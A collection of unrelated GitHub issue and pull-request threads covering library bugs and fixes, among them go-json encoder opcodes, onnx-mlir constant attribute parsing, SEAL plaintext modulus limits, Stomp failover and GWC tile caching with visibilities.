Access to the rate limit status that is piggybacked on the HTTP response of the last API call would be great. In my case, explicitly invoking rate_limit_status() is not an option as I have a lot of scraping activities ongoing in parallel, and this would introduce needless calls.
Additionally, the rate limit headers are part of the "meta" API of Twitter, so I feel it deserves a spot in the Tweepy library.
However, I personally dislike the approach in the commit listed above as this alters the behavior of an API call.
I have added a "rate_limit_status_from_last_response" method to the API in:
https://github.com/pennersr/tweepy/commit/d96b966958c474e1846d147d8b1f2be24084ffae
What do you think?


How to recover a cluster "FailedToStart"?

There is a clusterclaim marked as "FailedToStart".
  conditions:
  - lastProbeTime: "2020-11-11T00:02:39Z"
    lastTransitionTime: "2020-11-11T00:00:05Z"
    message: "Failed to start machines: IncorrectInstanceState: The instance 'i-0af38ae20ac9715a7' is not in a state from which it can be started.\n\tstatus code: 400, request id: ada05e60-b2fe-4dbd-a7d1-824c19861d95"
    reason: FailedToStart
    status: "True"
    type: Hibernating

I tried to change its .spec.powerState to Hibernate/Running by "oc edit". Nothing changed. I can bring the cluster back by starting the cluster node EC2 in AWS console; however, changing .spec.powerState does not work any more to switch it to hibernate.
Is there a way to recover this cluster back to normal?

Sounds like the instance got into a bad state, and now hive can't recover?
Can you share any relevant logs?
cc @dgoodwin

I have removed that cluster already.
To reproduce that is, hibernate a running cluster by following:
oc patch cd $1 --type='merge' -p $'spec:\n powerState: Hibernating'
Before it hibnerate completely, manually resume it again.
oc patch cd $1 --type='merge' -p $'spec:\n powerState: Running'
My work around is stop taking resume requests until the previous hibernation completed.


Import

Can you please tell me if there are any ways to convert(import) my "puml" into "Structurizr DSL"?

Not that I know of I'm afraid.


Fix postprocessing

rule postprocess_raw_data: give the following error:
Traceback (most recent call last):
  File "/root/nc2regularGrid_listComprehension.py", line 1, in <module>
    from dfm_tools.get_nc import get_netdata, get_ncmodeldata
ImportError: cannot import name 'get_netdata' from 'dfm_tools.get_nc' (/opt/conda/envs/env/lib/python3.8/site-packages/dfm_tools/get_nc.py

Likely to do with changes made in dfm_tools.
For now have commented out rule postprocess_raw_data: in the Snakefile.
Originally posted by @backeb in https://github.com/c-scale-community/use-case-hisea/issues/43#issuecomment-1460154433
Also related to #42

This will be taken care of in #42


put categories back in

But only use them for "aps".  And call the "categories" page "Aps".

examples
http://jekyllbootstrap.com/api/bootstrap-api.html#toc_8
http://www.tagstrong.com/lessons/2011/12/29/jekyll-introduction/

The problem may be that Jekyll only pulls categories from posts.


How can i download the image?

in the dataset, i just see the "image" column such as "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGB....." . How can i get the entired image?

i have the same question

Please refer to the README to load and parse the dataset.


Select Autocomplete: change dropdown popper default options (#7227)

Please make sure these boxes are checked before submitting your PR, thank you!

[x] Make sure you follow Element's contributing guide (中文 | English).
[x] Make sure you are merging your commits to dev branch.
[x] Add some descriptions and refer relative issues for you PR.

fix issue 7227  use default value
// default options
var DEFAULTS = {
    // placement of the popper
    placement: 'bottom',

    gpuAcceleration: true,

    // shift popper from its origin by the given amount of pixels (can be negative)
    offset: 0,

    // the element which will act as boundary of the popper
    boundariesElement: 'viewport',

    // amount of pixel used to define a minimum distance between the boundaries and the popper
    boundariesPadding: 5,

    // popper will try to prevent overflow following this order,
    // by default, then, it could overflow on the left and on top of the boundariesElement
    preventOverflowOrder: ['left', 'right', 'top', 'bottom'],

    // the behavior used by flip to change the placement of the popper
    flipBehavior: 'flip',

    arrowElement: '[x-arrow]',

    // list of functions used to modify the offsets before they are applied to the popper
    modifiers: [ 'shift', 'offset', 'preventOverflow', 'keepTogether', 'arrow', 'flip', 'applyStyle'],

    modifiersIgnored: [],

    forceAbsolute: false
};

先合并了，不确定会不会引起其他问题，等发布后看反馈。


User/ole

:white_check_mark: Build TheIdServer 3.0.2-user-ole1-0008 completed (commit https://github.com/Aguafrommars/TheIdServer/commit/506690eb90 by @aguacongas)

:white_check_mark: Build TheIdServer 3.0.2-user-ole.1+8.build.1457 completed (commit https://github.com/Aguafrommars/TheIdServer/commit/7dfb6c7ca2 by @aguacongas)


internal_equal_priority_conflict_notification: Initial check in of test scenario

Initial check in of scenario to test the SCD0095 requirement in the case where there is a single USS and detection of a conflict is internal. This scenario seems to need a new test case as it involves only one USS and that USS is the one being tested. It is based on the current scenario diagram for this case, which may not currently be in the final state. As such this PR is being submitted for the sake of discussion until the scenario diagram is finalized at which time this scenario will be modified as needed. Also some test fragments of this scenario are shared with the branch EqualPriorityConflictNotification and are repeated here for continuity sake within this scenario.

Updated this scenario to use a Nonconforming flight to create conflict and removed references to priority levels. Even if this isn't a useful for the upcoming Key Site event we would still like to get some feedback/suggestions on this approach for testing SCD0095. Thanks!

Based on the comment on #603 and lack of activity for much longer than the guidelines, I'm going to close this PR for now.  As with any PR closure, it can be reopened if/when appropriate.


Getting Error when trying to include json.Marshal in gofiber JsonEncoder

I'm getting this error when trying to integrate this library with gofiber: https://github.com/gofiber/fiber
failed to handle opcode. doesn't implement StructFieldOmitEmptyStruct

Sorry for the late reply, I would like to know for what type the error occurred .

Hi @goccy Thanks for response, What you mean by type?
I tried following
s.App = fiber.New(fiber.Config{
		...
		JSONEncoder:           json.Marshal,
	})

When I received above error. Now I try again and it seems to work fine.

Now I try again and it seems to work fine.

Wow, Good news !
type means that what type information passed to json.Marshal or (*json.Encoder).Encode()
Thanks !

I'll test some scenario and confirm before closing this issue

@goccy I received first error again:
encoder (escaped): opcode StructFieldOmitEmptyStruct has not been implemented

Can you answer my question because I want to investigate ?

@goccy I used json.Marshal

@sujit-baniya
What I want to know is the type information of the value  passing to json.Marshal that is causing the error.

Ah sorry!
type User struct {
	ID              uint `gorm:"primarykey" json:"id"`
	CreatedAt       time.Time
	UpdatedAt       time.Time
	DeletedAt       gorm.DeletedAt `gorm:"index"`
	FirstName       string         `json:"first_name" gorm:"first_name"` //nolint:gofmt
	LastName        string         `json:"last_name" gorm:"last_name"`   //nolint:gofmt
	Email           string         `json:"email" gorm:"email"`
	Password        string         `json:"-" gorm:"password"`
	Status          string         `json:"status" gorm:"status"`
	Avatar          string         `json:"avatar" gorm:"avatar"`
	Balance         float32        `json:"balance" gorm:"balance"`
	EmailVerified   bool           `json:"email_verified" gorm:"email_verified"`
	EmailVerifiedAt time.Time      `json:"email_verified_at" gorm:"email_verified_at"`
	Currency        string         `json:"currency" gorm:"currency"`
	CurrencySymbol  string         `json:"currency_symbol" gorm:"-"`
	IsAdmin         bool           `json:"is_admin" gorm:"is_admin"`
	Files           []File         `gorm:"many2many:user_files;" json:"files,omitempty"`
	Metas           []UserMeta     `gorm:"many2many:user_meta;" json:"metas,omitempty"`
	UserSetting     UserSetting    `gorm:"-" json:"settings,omitempty"`
}

This was the code:
func User(userID uint) (*models.User, error) {
	user, err := models.GetUserById(userID)
	if err != nil {
		return nil, err
	}
	return user, nil
}

func Me(c *fiber.Ctx) error {
	...
	return c.JSON(user)
}

Thank you for detail type information ! I reproduced this problem and try to fix !

I fixed this issue with https://github.com/goccy/go-json/pull/148

@goccy Still have this issue with new update:
encoder (escaped): opcode StructFieldOmitEmptyStruct has not been implemented


Adding pathfinding using SDF example

I reworked it quite a bit and it's now more data oriented. I hope it's also more readable (or at least not less readable).


[Python3.5] AttributeError: 'dict' object has no attribute 'iteritems'

The above issue occurs when trying to run the following code:
import RAKE
import os

rake = RAKE.Rake(os.path.dirname(__file__) + '/../stoplist/japanese.stop')
text = 'これそれあれこのそのあの'
keywords = rake.run(text)
print(keywords)

Here's the stacktrace:
Traceback (most recent call last):
  File "/vagrant/workspace/bambooshoot-ads/analytics/core/keyword.py", line 6, in <module>
    keywords = rake.run(text)
  File "/home/vagrant/.pyenv/versions/3.5.0/lib/python3.5/site-packages/RAKE/RAKE.py", line 132, in run
    sorted_keywords = sorted(keyword_candidates.iteritems(), key=operator.itemgetter(1), reverse=True)
AttributeError: 'dict' object has no attribute 'iteritems'

Appears to be an issue in the original code, as you can see here: https://github.com/aneesha/RAKE/issues/9
I've attempted the above fix without success.

My bad, appears there's a PR already open with a fix for this.
Is there any timeline on the PR being merged to master?


Error in constructor of Microsoft seal PlainText when string is to long.

Hi,
I need to sum a cyphertext with a 256 bit number (256Big in my code). As the Plaintext only accepts an hexadecimal string parameter I am trying the following:
string stringSUM= 256Big.ToString("X64"); -> conversion is correct
Plaintext keyLevelPlain = new Plaintext(keyString);

Output:
Unhandled exception. System.ArgumentException: Value does not fall within the expected
range.
   at Microsoft.Research.SEAL.NativeMethods.Plaintext_Create4(String hexPoly, IntPtr memoryPoolHandle, IntPtr& plainText)
   at Microsoft.Research.SEAL.Plaintext..ctor(String hexPoly, MemoryPoolHandle pool)

Any solutions?
Thanks in advice

What does your encoding (stringSUM) look like exactly? Can you show a small example? Are the coefficients bounded in [0, plainModulus)?

The hexadecimal string looks like 696C1758E157438EF9C7DD4867CBE5F01453E5C0FE53CCF287CDB5D9842B45DA. PlainModulus is: parms.PlainModulus = new Modulus(1024). How should I set it? What is the maximum value?

Note that the Modulus(1024) sets the modulus to be literally 1024 -- not 1024 bits. The plainModulus can be at most 60 bits, but even such a large one is pretty impractical to use. There used to be a hacky way in SEAL to do arithmetic on such large integers, but this was removed due to serious usability problems. There are some other better ways, but these are not implemented by any library since there aren't (m)any applications.

Note that the Modulus(1024) sets the modulus to be literally 1024 -- not 1024 bits. The plainModulus can be at most 60 bits, but even such a large one is pretty impractical to use. There used to be a hacky way in SEAL to do arithmetic on such large integers, but this was removed due to serious usability problems. There are some other better ways, but these are not implemented by any library since there aren't (m)any applications.

Okey, thanks!


Initial connection does not failover on startup when first broker is down

I am trying to two brokers w/ the following connection hash
hosts: [{:login=>"xxxx", :passcode=>"xxxx", :host=>"amq1.xxxxx.com", :port=>61613, :ssl=>false}, {:login=>"xxxx", :passcode=>"xxxx", :host=>"amq2.prod.xxxxx.com", :port=>61613, :ssl=>false}], initial_reconnect_delay: 5000, randomize: false, use_exponential_back_off: false, reliable: true

however the first broker in this case is down, shouldn't it immediately try the second?
/Users/jdyer/.rbenv/versions/2.0.0-p353/lib/ruby/gems/2.0.0/gems/stomp-1.3.2/lib/stomp/client.rb:97:in `rescue in initialize': Client failed to start in 10 seconds (Stomp::Error::StartTimeoutException)
	from /Users/jdyer/.rbenv/versions/2.0.0-p353/lib/ruby/gems/2.0.0/gems/stomp-1.3.2/lib/stomp/client.rb:89:in `initialize'
	from /Users/jdyer/.rbenv/versions/2.0.0-p353/lib/ruby/gems/2.0.0/gems/stomp-1.3.2/lib/stomp/client.rb:126:in `new'
	from /Users/jdyer/.rbenv/versions/2.0.0-p353/lib/ruby/gems/2.0.0/gems/stomp-1.3.2/lib/stomp/client.rb:126:in `open'
	from /Users/jdyer/Projects/tropo/ruby_transfer_agent/lib/transfer_agent/queue_listener.rb:38:in `create_connection'
	from /Users/jdyer/Projects/tropo/ruby_transfer_agent/lib/transfer_agent/queue_listener.rb:34:in `initialize'
	from lib/transfer_agent.rb:55:in `new'
	from lib/transfer_agent.rb:55:in `<module:TransferAgent>'
	from lib/transfer_agent.rb:5:in `<main>

This should be fixed in v1.3.4.
Specifically:
847d346
7474222
Perhaps several other commits in the 1.3.3 -> 1.3.4 chain.


I cant get wit working with esp 8266 Wemos d1 mini

I cant get it working - here is the output
MicroPython v1.12 on 2019-12-20; ESP module with ESP8266

Type "help()" for more information.
>>> from machine import freq
>>> freq(160000000)
>>> from hx711 import HX711
>>> driver = HX711(d_out=5, pd_sck=4)
>>> driver
HX711 on channel A, gain=128
>>> driver.read()
0
>>>

Note: The same hx711 module works fine with arduino Uno

I found the problem
GPIO 4 -> D2
GPIO 5 -> D1


Error in loading ConstantOp

Here is the error I mentioned at the meeting.
I run onnx-mlir --EmitONNXBasic my_model.onnx' and then onnx-mlir --EmitONNXIR my_model.onnx.mlir`. I got error message
error: unknown attribute `dense_disposable` in dialect `ONNX`

This error occurs only on one model, which can not be shared publicly. The constant in my_model.onnx.mlir looks like this
%0 = "onnx.Constant"() {value = #onnx.dense_disposable<#1:"0x000000000000000000000000000000000000000000000000"> : tensor<3xi64>} : () -> tensor<3xi64>

The constant is not printed as dense format, while the constant of other model (output of --EmitONNXBasic) is in dense format and can be loaded back to onnx-mlir. Can you figure out the reason without the model?
By the way, I'd like to explain the question I asked at meeting. We can import a model from .onnx file and the constant is represented with the disposable attribute for performance. The disposable attribute is converted to dense attribute before onnx to KRNL conversion. However, we may print out the IR, and then run onnx-mlir again. To my understanding, the constant will be print as dense, not the disposable. Right? Can we print out the disposible attribute? When onnx-mlir load the print out of dense attribute again, do we need add a pass to convert the dense Attribute to disposable? Or has it been done automatically?

thanks for the error report!
I'll first try to figure out why it was printed out as #onnx.dense_disposable<..> and not dense<..> and then I'll try to answer the other questions

I can't recreate the error you described and I'm puzzled how you got it to print "onnx.Constant" with double quotes - it must have bypassed ONNXConstantOp::print() from OnnxOps.cpp which I can't see how can happen
studying the implementation I found another corner case where #onnx.dense_disposable might get printed, namely if the DisposableElementsAttr type doesn't match the ONNXConstantOp type, which would probably be impossible to parse - I'll try to verify and fix that

The error did not come from ONNXConstantOp::print(OpAsmPrinter &odsPrinter), which is not invoked for the model with error. The attribute print is called by OperationPrinter::printGenericOp. So the DisposableElementsAttr is printed as an Attribute directly from mlir::AsmPrinter::Impl::printNamedAttribute.
I do not know why. What's the Op?  Is the model correct though it passed onnx_check?
A possible improvement is to define the print method for DisposableElementsAttr, instead of intercepting the print at the print of ONNXConstantOp.

That model has problem. It can not pass verifier. The mlir dump the IR with printGenericOp. No error hint is generated byonnx-mlir --EmitONNXBasic

@chentong319 thanks for troubleshooting this!

A possible improvement is to define the print method for DisposableElementsAttr, instead of intercepting the print at the print of ONNXConstantOp.

with the print method for DisposableElementsAttr I couldn't get rid of the #onnx. prefix, which is added by AsmPrinter, which is why I intercepted the print at the print of the ONNXConstantOp where I could make it print the same as DenseElementsAttr

Let me add a similar error case in onnx.ConstantOpShape op in bidaf-9.onnx ( https://github.com/onnx/models/blob/main/text/machine_comprehension/bidirectional_attention_flow/model/bidaf-9.onnx ) in the model zoo with the latest onnx-mlir ( 66b0e2be9bb39a084cc080a96852b3a9b99a8bd9 ) as follows.
$ onnx-mlir  --EmitONNXBasic  bidaf-9.onnx
$ mv bidaf-9.tmp  bidaf-9-onnxbasic.mlir
$ onnx-mlir-opt --shape-inference bidaf-9-onnxbasic.mlir
bidaf-9-onnxbasic.mlir:114:132: error: unknown attribute `dense_disposable` in dialect `ONNX`
    %108 = "onnx.ConstantOfShape"(%107) {onnx_node_name = "UnpackSequenceOp10564_constant_of_shape", value = #onnx.dense_disposable<#56:"0x3F800000"> : tensor<1xf32>} : (tensor<*xi64>) -> tensor<*xf32>
                                                                                ^

thanks for sharing this example, I'm able to reproduce and I'm working on a fix

this issue should be fixed with PR #2020
please reopen if you see more problems

Even when using the fix PR #2020, I still see this issue with bertsquad-12-int:
$ ./Debug/bin/onnx-mlir --EmitONNXBasic bertsquad-12-int8.onnx
$./Debug/bin/onnx-mlir-opt --print-op-stats bertsquad-12-int8.tmp  >/dev/null
bertsquad-12-int8.tmp:4:59: error: unknown attribute `dense_disposable` in dialect `ONNX`

I still see this issue with bertsquad-12-int8

in both the .tmp and .onnx.mlir output all the constants are printed with the "generic" syntax with double quotes:
"builtin.module"() ({
  "func.func"() ({
  ^bb0(%arg0: tensor<?xi64>, %arg1: tensor<?x256xi64>, %arg2: tensor<?x256xi64>, %arg3: tensor<?x256xi64>):
    %0 = "onnx.Constant"() {value = #onnx.dense_disposable<#1:"0x00010000"> : tensor<i32>} : () -> tensor<i32>
    %1 = "onnx.Constant"() {value = #onnx.dense_disposable<#2:"0x0000000000000000"> : tensor<1xi64>} : () -> tensor<1xi64>
    %2 = "onnx.Constant"() {value = #onnx.dense_disposable<#3:"0x0100000000000000"> : tensor<1xi64>} : () -> tensor<1xi64>

so, somehow, the custom assembly printing in ONNXConstantOp::print() is somehow bypassed, the same with ConstantOfShape:
%719 = "onnx.ConstantOfShape"(%718) {onnx_node_name = "bert/encoder/ones", value = #onnx.dense_disposable<#634:"0x0000803F"> : tensor<1xf32>} : (tensor<*xi64>) -> tensor<*xf32>

any ideas why this could be happening?
if doesn't happen with bidaf-9.onnx where we output:
module attributes {llvm.data_layout = "e-m:o-i64:64-i128:128-n32:64-S128", llvm.target_triple = "arm64-apple-darwin21.6.0"} {
  func.func @main_graph(%arg0: tensor<?x1x!onnx.String>, %arg1: tensor<?x1x1x16x!onnx.String>, %arg2: tensor<?x1x!onnx.String>, %arg3: tensor<?x1x1x16x!onnx.String>) -> (tensor<1xi32>, tensor<1xi32>) attributes {input_names = ["context_word", "context_char", "query_word", "query_char"], output_names = ["start_pos", "end_pos"]} {
    %0 = onnx.Constant dense<"0x10CC463EFD..."> : tensor<1000x1xf32>

as discussed in today's meeting, I will add parsing logic for DisposableElementsAttr, which seems like the most direct way to get things working again even if Constant and ConstantOfShape are printed "generically" - I will try to complete it this week
I welcome any ideas why it's printed generically and bypassing our custom assembly printer

I added parsing logic for DisposableElementsAttr in PR #2031, please review when you can find time
with this fix when I ran @tungld's example onnx-mlir-opt --print-op-stats  bertsquad-12-int8.tmp I got the error output:
bertsquad-12-int8.tmp:639:14: error: 'onnx.DynamicQuantizeLinear' op result #0 must be tensor of 8-bit unsigned integer values, but got 'tensor<*xi8>'
    %635:3 = "onnx.DynamicQuantizeLinear"(%634) {onnx_node_name = "bert/embeddings/one_hot:0_QuantizeLinear"} : (tensor<*xf32>) -> (tensor<*xi8>, tensor<*xf32>, tensor<*xi8>)
             ^
/tmp/bertsquad-12-int8.onnx.mlir:639:14: note: see current operation: %635:3 = "onnx.DynamicQuantizeLinear"(%634) {onnx_node_name = "bert/embeddings/one_hot:0_QuantizeLinear"} : (tensor<*xf32>) -> (tensor<*xi8>, tensor<*xf32>, tensor<*xi8>)

which is similar to the situation with @chentong319's original "my_model.onnx" example
maybe that's why these examples print out generically: they experience a verifier error and trigger an exceptional code path that prints the mlir generically
are we failing to handle an error?


Integration of GWC & visibilities

The same query, made by users with different authorizations, and result in different sets of data.  GWC has a concept of this with CQL filter strings (different query parameters can cause this as well).
We need to figure out how to create/extend this type of capability to visibilities.
Other considerations would be storing the distinct sets of visiblities for a data set in the statistics table;  this would put an upper cap on the number of distinct cache sets - not every possible one determined by user authorizations, but rather just each possible permutation in the data set.

maybe the easy approach is to just translate the user's auths to a CQL filter up front in a servlet filter, or at the beginning of the request chain and then in our geotools data reader just translate that CQL  back to auths...then anything geoserver does in between just sees it as an additional filter including gwc.

So leverging the CQL parameter handling on GWC is a pretty reasonable idea.    That said, I think we will probably need to put together an accumulo backed GWC store as well - since ultimately we want the tiles access controlled per whatever they correspond to.
Only downside is with a simple implementation we would end up duplicating tiles per visibility level.   i.e.  if I there were two sets of auths - ['A'], and ['A','B']  we would  store those as two complete tile sites (if they were fully seeded).   In reality, if we looked at each tiles, it's likely some of the ['A', 'B'] tiles would be equivalent to the ['A'] tiles.   We could probably implement something similar to the stats rollup with per visibility permutation diff sets only - though it would be slightly different in that we would need to detect duplicates (hash?), and "roll down" to the intersected set of auths.    I think this wold probably not be worthwile though - or something way way in the future.  (since it's different enough from the stats implementation that it's not straightforward).
But I think we will need to do a basic naieve GWC -> Accumulo tile store (with per tile visibilities)